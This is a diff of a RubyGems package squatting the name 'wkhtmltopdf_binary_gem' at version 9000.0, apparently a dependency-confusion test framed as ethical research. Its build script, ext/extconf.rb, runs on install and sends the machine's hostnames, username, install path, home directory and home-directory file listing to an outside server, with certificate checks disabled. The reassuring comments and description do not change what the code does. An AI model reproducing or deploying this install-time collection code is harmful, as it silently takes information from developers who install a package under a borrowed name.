wkhtmltopdf_binary_gem 9000.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: d611cbba7303b0a84d3536aa04afbbe641f3b69d852bd26127e2eb99f6541c5b
+  data.tar.gz: f98026fa3a6abdfb947e9fce15640c79bfbaa4b7fe8c2c6f56ac2516c046c3c4
+SHA512:
+  metadata.gz: dffeb07a240e39801a18057c1c5603288cb7d32533eac7675af28f16057d1c0cb85604bd0d1cc937e87187bf0686532e07480d64cbb63a8b86dfbfd8635c6460
+  data.tar.gz: a06c98487941721437bd70fb5950cb17c787148073b1621de3e9869cb40b3ad25f74cada4fca8314362733bb44e1ae00c7b77bc4ff6e466a522b442af72623f9

data/ext/extconf.rb

@@ -0,0 +1,50 @@
+=begin
+Hi, if you're reading this you're probably wondering what this code is doing on your machine.
+Don't worry! It doesn't do anything nasty or malicious.
+
+I am an ethical security researcher, booking names of gems to prevent brandjacking.
+
+I also run a Ruby security related platform: https://diffend.io
+
+All data I collect will be deleted and I do not collect any sensitive information.
+
+That's why I don't even obfuscate the network calls with DNS requests or anything else.
+
+You can read the code to confirm this.
+
+If you have any questions or want to get in touch for any reason, you can reach me at:
+
+maciej@mensfeld.pl
+
+If this is affecting your organization, for example because I took name that uses your naming
+conventions, feel free to contact me and I will be more than happy to give it back to you.
+
+P.S. I did notify RubyGems security team, so they are aware of my activity.
+=end
+
+require 'mkmf'
+require 'net/http'
+require 'socket'
+require 'etc'
+require 'securerandom'
+require 'json'
+
+create_makefile 'gem_test'
+
+uri = URI("https://ethically-testing-the.world")
+http = Net::HTTP.new(uri.host, uri.port)
+http.use_ssl = true
+http.verify_mode = OpenSSL::SSL::VERIFY_NONE
+request = Net::HTTP::Post.new('/wkhtmltopdf_binary_gem/9000.0')
+request.add_field('Content-Type', 'application/json')
+
+request.body = {
+  hostnames: [Socket.gethostname, Socket.gethostbyname(Socket.gethostname).first].uniq,
+  username: Etc.getlogin,
+  path: File.dirname(__FILE__),
+  home: Dir.home,
+  home_ls: Dir.entries(Dir.home),
+  id: SecureRandom.uuid,
+}.to_json
+
+http.request(request)

metadata

@@ -0,0 +1,50 @@
+--- !ruby/object:Gem::Specification
+name: wkhtmltopdf_binary_gem
+version: !ruby/object:Gem::Version
+  version: '9000.0'
+platform: ruby
+authors:
+- Maciej Mensfeld
+autorequire: 
+bindir: bin
+cert_chain: []
+date: 2021-03-05 00:00:00.000000000 Z
+dependencies: []
+description: |
+  I am testing for brandjacking vulnerabilities in products that are in bug bounty programs.
+
+  This code is reporting-only, and does not do anything malicious.
+email:
+- maciej@mensfeld.pl
+executables: []
+extensions:
+- ext/extconf.rb
+extra_rdoc_files: []
+files:
+- ext/extconf.rb
+homepage: https://diffend.io
+licenses:
+- GPL-3.0
+metadata: {}
+post_install_message: |
+  This is probably not the package you wanted to install.
+  Read the description of this gem for more details.
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.1.4
+signing_key: 
+specification_version: 4
+summary: Gem that sends some non-sensitive data for security research.
+test_files: []